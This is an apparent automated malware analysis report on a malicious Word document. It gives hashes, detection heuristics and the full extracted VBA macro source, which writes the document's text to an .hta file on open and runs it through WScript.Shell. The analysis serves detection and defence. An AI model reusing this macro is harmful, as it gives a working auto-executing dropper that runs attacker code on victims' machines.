Malicious Office (OOXML) — malware analysis report

Static analysis result for SHA-256 561ffa3313627b6f…

MALICIOUS

Office (OOXML)

45.9 KB Created: 2021-06-10 10:36:00 UTC Authoring application: Microsoft Office Word 16.0000 First seen: 2021-06-17
MD5: d989e5084ee15c982d01f194c7cefcbc SHA-1: 4670e8e52c14d320fe75c0914ccaada01a583cbe SHA-256: 561ffa3313627b6f369d555a174c5791b03b3d51574218b8fb0ae60a23c2c8c0
170 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1204.002 Malicious File

The sample is a malicious OOXML document containing VBA macros. The 'autoopen' macro triggers the execution of 'varDelete', which writes content to a file path constructed using WScript.Shell. The 'nameTmp' function also uses WScript.Shell to run a command, likely to download and execute a second-stage payload. The constructed file path 'c:\programdata\globalReferenceLib.hta' is a strong indicator of a downloader or dropper.

Heuristics 6

  • VBA project inside OOXML medium 4 related findings OOXML_VBA
    Document contains a VBA project — VBA macros present
  • WScript.Shell usage critical OLE_VBA_WSCRIPT
    WScript.Shell usage
    Matched line in script
    Function nameTmp()
Set WshShell = CreateObject("Wscript.Shell")
WshShell.Run rSelWin("c:\\windows\\explorer "), , True
  • CreateObject call high OLE_VBA_CREATEOBJ
    CreateObject call
    Matched line in script
    Function nameTmp()
Set WshShell = CreateObject("Wscript.Shell")
WshShell.Run rSelWin("c:\\windows\\explorer "), , True
  • VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC
    Compiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.
  • AutoOpen macro low OLE_VBA_AUTOOPEN
    AutoOpen macro
    Matched line in script
    Attribute VB_Name = "arrL"
Sub autoopen()
varDelete
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://schemas.microsoft.com/office/word/2010/wordprocessingCanvas In document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/drawing/2014/chartexIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/drawing/2015/9/8/chartexIn document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/markup-compatibility/2006In document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/officeDocument/2006/relationshipsIn document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/officeDocument/2006/mathIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordprocessingDrawingIn document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/drawingml/2006/wordprocessingDrawingIn document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/wordprocessingml/2006/mainIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordmlIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2012/wordmlIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2015/wordml/symexIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordprocessingGroupIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordprocessingInkIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2006/wordmlIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordprocessingShapeIn document text (OOXML body / shared strings)
    • http://www.w3.org/1999/02/22-rdf-syntax-ns#In document text (OOXML body / shared strings)
    • http://ns.adobe.com/xap/1.0/In document text (OOXML body / shared strings)
    • http://purl.org/dc/elements/1.1/In document text (OOXML body / shared strings)
    • http://ns.adobe.com/photoshop/1.0/In document text (OOXML body / shared strings)
    • http://ns.adobe.com/xap/1.0/mm/In document text (OOXML body / shared strings)
    • http://ns.adobe.com/xap/1.0/sType/ResourceEvent#In document text (OOXML body / shared strings)
    • http://ns.adobe.com/xap/1.0/sType/ResourceRef#In document text (OOXML body / shared strings)
    • http://ns.adobe.com/tiff/1.0/In document text (OOXML body / shared strings)
    • http://ns.adobe.com/exif/1.0/In document text (OOXML body / shared strings)

Extracted artifacts 2

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source from OOXML) 896 bytes
SHA-256: 6d4c2b5e4098c3c48940b73f07e5cb6814fce60b0323188e3392c534565d5293
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True

Attribute VB_Name = "arrL"
Sub autoopen()
varDelete
snglRepo = nameTmp
End Sub
Function rSelWin(hGlobalTrust, Optional lstVar = "c:\program", Optional initLng = "a")
rSelWin = hGlobalTrust & lstVar & "data\globalReferenceLib.ht" & initLng
End Function

Attribute VB_Name = "lengthGen"
Sub varDelete()
Open rSelWin("") For Output As #1
Print #1, removeIntSwap
Close #1
End Sub
Function removeIntSwap()
removeIntSwap = ActiveDocument.Range.Text
End Function
Function nameTmp()
Set WshShell = CreateObject("Wscript.Shell")
WshShell.Run rSelWin("c:\\windows\\explorer "), , True
End Function
vbaProject_00.bin vba-project OOXML VBA project: word/vbaProject.bin 14848 bytes
SHA-256: 8837a6e9badd4a709e065b373730bb2a94acff4ee1720ed88aea49125e65b4e4

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